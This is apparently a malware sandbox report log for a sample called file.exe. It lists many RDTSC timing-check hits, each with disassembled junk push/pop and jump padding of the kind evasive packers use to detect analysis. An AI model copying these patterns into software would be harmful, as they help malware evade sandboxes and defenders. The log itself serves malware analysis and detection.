Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6023B second address: A60264 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F0C44D4E186h 0x00000010 jmp 00007F0C44D4E199h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60552 second address: A6055E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0C44E7DD66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6055E second address: A60577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C44D4E193h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60577 second address: A6057B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A606CD second address: A606DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44D4E18Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60828 second address: A60859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F0C44E7DD66h 0x00000009 jmp 00007F0C44E7DD73h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0C44E7DD6Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60859 second address: A6085D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6085D second address: A60878 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F0C44E7DD75h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60878 second address: A60884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F0C44D4E186h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A609DD second address: A609E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A609E1 second address: A609EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A609EC second address: A609F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A609F4 second address: A60A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44D4E18Bh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F0C44D4E195h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D3E2 second address: A0D3E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D3E7 second address: A0D3F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0C44D4E18Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D3F6 second address: A0D431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, edi 0x0000000c mov ebx, dword ptr [ebp+1246E53Ah] 0x00000012 mov edx, dword ptr [ebp+122D2B8Bh] 0x00000018 add eax, ebx 0x0000001a mov dword ptr [ebp+122D1BC1h], edi 0x00000020 push eax 0x00000021 push edi 0x00000022 pushad 0x00000023 jmp 00007F0C44E7DD76h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D431 second address: A0D49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F0C44D4E188h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 stc 0x00000024 push 00000004h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F0C44D4E188h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 stc 0x00000041 mov ecx, dword ptr [ebp+122D2DE7h] 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b jmp 00007F0C44D4E18Eh 0x00000050 push esi 0x00000051 pop esi 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60B6F second address: A60B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007F0C44E7DD6Eh 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F0C44E7DD66h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61751 second address: A61757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61757 second address: A61771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jno 00007F0C44E7DD75h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64915 second address: A6491B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6491B second address: A64924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64924 second address: A6492A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6492A second address: A64930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64241 second address: A64245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64245 second address: A6424F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0C44C1C9E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69873 second address: A698AF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 jg 00007F0C44CFD9A6h 0x0000000b pop esi 0x0000000c jmp 00007F0C44CFD9AEh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0C44CFD9B7h 0x0000001b jp 00007F0C44CFD9A6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69ED9 second address: A69EFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44C1C9F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jc 00007F0C44C1C9EEh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69EFA second address: A69F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A169 second address: A6A179 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0C44C1C9E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A179 second address: A6A17D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A47E second address: A6A482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A482 second address: A6A492 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007F0C44CFD9A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A492 second address: A6A498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A498 second address: A6A49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6ACB8 second address: A6ACDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44C1C9F9h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6B2A9 second address: A6B2C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C44CFD9B5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6B2C2 second address: A6B2D6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0C44C1C9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F0C44C1C9E6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70129 second address: A70139 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44CFD9AAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70139 second address: A7013F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7013F second address: A70143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70143 second address: A70149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F954 second address: A6F97B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44CFD9ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F0C44CFD9D2h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0C44CFD9B0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F97B second address: A6F981 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B2EB second address: A7B2F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0C44CFD9A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B2F5 second address: A7B306 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F0C44C1C9ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B306 second address: A7B30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B30A second address: A7B316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F0C44C1C9E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B316 second address: A7B323 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0C44CFD9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BBA4 second address: A7BBD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44C1C9F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F0C44C1C9EEh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BBD3 second address: A7BBD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BBD9 second address: A7BBEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F0C44C1C9EAh 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BBEC second address: A7BC0B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0C44CFD9A8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F0C44CFD9AEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BD3B second address: A7BD41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BD41 second address: A7BD55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F0C44CFD9B2h 0x0000000c jnc 00007F0C44CFD9A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CB60 second address: A7CB73 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0C44C1C9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jg 00007F0C44C1C9E6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CB73 second address: A7CB78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CB78 second address: A7CB7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7AA5C second address: A7AA76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44CFD9B6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7AA76 second address: A7AA88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F0C44C1C9E8h 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8174F second address: A81753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81753 second address: A81771 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44C1C9EAh 0x00000007 jnp 00007F0C44C1C9E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F0C44C1C9E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81771 second address: A81775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81775 second address: A8177F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0C44C1C9E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8177F second address: A81785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81785 second address: A817A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44C1C9F5h 0x00000007 jo 00007F0C44C1C9EEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A847F2 second address: A847F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A847F8 second address: A84806 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jo 00007F0C44C1C9E6h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A844D0 second address: A844E5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0C44CFD9AFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A844E5 second address: A844F0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007F0C44C1C9E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A844F0 second address: A84506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0C44CFD9AAh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84506 second address: A8450A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8450A second address: A84510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84510 second address: A8452A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0C44C1C9ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F0C44C1C9E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85E48 second address: A85E59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007F0C44CFD9A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A926A5 second address: A926C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F0C44C1C9F8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A926C7 second address: A926D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0C44CFD9A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94E89 second address: A94E8E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA46C4 second address: AA46CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA46CA second address: AA46DC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0C44C1C9ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAD545 second address: AAD549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAD549 second address: AAD551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAD551 second address: AAD557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAD557 second address: AAD55B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABDBB second address: AABDEF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C44CFD9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F0C44CFD9B3h 0x00000010 jmp 00007F0C44CFD9AEh 0x00000015 pushad 0x00000016 ja 00007F0C44CFD9A6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABDEF second address: AABDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABDF5 second address: AABE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F0C44CFD9B3h 0x0000000e push ebx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABE16 second address: AABE3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0C44C1C9ECh 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007F0C44C1C9E6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0C44C1C9EAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC112 second address: AAC11A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC248 second address: AAC24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC4EE second address: AAC50F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0C44CFD9A6h 0x00000008 jmp 00007F0C44CFD9B7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC83D second address: AAC846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC846 second address: AAC870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44CFD9AEh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0C44CFD9B1h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC870 second address: AAC874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC874 second address: AAC878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2E44 second address: AB2E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2E4A second address: AB2E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44CFD9ABh 0x00000009 rdtsc
